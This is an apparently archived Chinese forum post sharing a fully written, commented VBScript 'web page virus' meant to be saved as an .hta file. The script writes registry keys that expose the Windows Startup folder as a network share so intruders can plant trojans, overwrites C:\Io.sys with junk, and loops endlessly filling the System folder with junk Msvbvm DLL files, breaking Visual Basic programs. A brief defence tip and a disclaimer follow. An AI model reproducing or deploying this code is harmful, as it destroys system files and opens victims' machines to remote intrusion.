| 查看: 234 | 回复: 1 | |||
| 当前主题已经存档。 | |||
航空母舰金虫 (正式写手)
|
[交流]
[资源]又一个写硬盘的网页病毒程序
|
||
|
又一个写硬盘的网页病毒程序 〈script language=vbs〉 On Error Resume Next· 容错语句，避免程序崩溃 set aa=CreateObject（"WScript.Shell"）·建立WScript对象 Set fs = CreateObject（"Scripting.FileSystemObject"）·建立 文件系统对象 Set dir1 = fs.GetSpecialFolder（0）·得到Windows路径 Set dir2 = fs.GetSpecialFolder（1）·得到System路径 dir1=dir1+"\START MENU\PROGRAMS\启动" aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\ Network\LanMan\S$\Flags",302,"REG_DWORD"·写入Dword值Flags， 这是共享类型的标志 aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\ Network\LanMan\S$\Type",0,"REG_DWORD"·写入Dword值Type aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\ Network\LanMan\S$\Path",dir1·写入共享资源的绝对路径 a=10 Set Os = CreateObject（"Scriptlet.TypeLib"）·建立自定义枚举 对象 doc="“Hi”、“Hello”、“How are you?”、“Can you help me?” 、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、 “Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger” “Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、 “Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、 “Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、 “How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、 “Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、 “Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”“How about have dinner with me together?”" ·一堆垃圾码，以备写入目标文件 Os.Reset·重置TypeLib对象 Os.Path = "C:\Io.sys"·TypeLib对象的目标路径为C:\Io.sys Os.Doc = doc·写入的内容——就是上面的一堆垃圾 Os.Write（）·写入！ while true ·死循环，垃圾文件越多越好 a=a+1 Os.Reset Os.Path = dir2&"\Msvbvm"&a&".dll" ·目标路径为System下的Msvbvm???.dll文件 Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc& doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d oc&doc&doc&doc&doc&doc&doc&doc&doc&doc ·大量重复，以生成足够大小的文件 Os.Write（）·生成文件！ wend 〈/script〉 以上代码保存为.hta文件,可以调用FileSystemObject元件（文件系统对象）。病毒首先得到你的Windows目录和System目录，再修改注册表，把你的启动目录——"C:\WINDOWS\Start Menu\Programs\启动"设置为完全共享，这样就可以被黑客搜到，上传一个“冰河”或者“广外女生”， 然后病毒就把目标对准System目录，往里面灌垃圾文件，都是形如Msvbvm???的Dll文件，而且所有VB编写的程序都不能用了，提示找不到Dll文件——因为Msvbvm50.dll和Msvbvm60.dll被垃圾文件覆盖了。 防备方法：将ActiveX元件、Java脚本和Vbs脚本等全部禁止就可以避免Bingo。 具体方法是：在Internet Explorer菜单中点击“工具”——“Internet选项”，在弹出的对话框中选择“安全”标签，再点击“自定义级别”按钮，就会弹出“安全设置”对话框，把其中所有ActiveX控件以及Java和Vbs脚本相关全部选择“禁用”即可。 本代码仅仅用于交流, 严禁利用本代码搞破坏! [ Last edited by 幻影无痕 on 2006-11-21 at 07:36 ] |
回复此楼» 猜你喜欢
同年申请2项不同项目，第1个项目里不写第2个项目的信息，可以吗
已经有6人回复
-
依托企业入选了国家启明计划青年人才。有无高校可以引进的。
已经有6人回复
-
依托企业入选了国家启明计划青年人才。有无高校可以引进的。
已经有10人回复
-
天津大学招2026.09的博士生，欢迎大家推荐交流（博导是本人）
已经有9人回复
-
有院领导为了换新车，用横向课题经费买了俩车
已经有10人回复
-
遇见不省心的家人很难过
已经有24人回复
-
AI 太可怕了，写基金时，提出想法，直接生成的文字比自己想得深远，还有科学性
已经有6人回复
-
酰胺脱乙酰基
已经有13人回复
-
有时候真觉得大城市人没有县城人甚至个体户幸福
已经有10人回复
1
2楼2005-08-22 01:02:41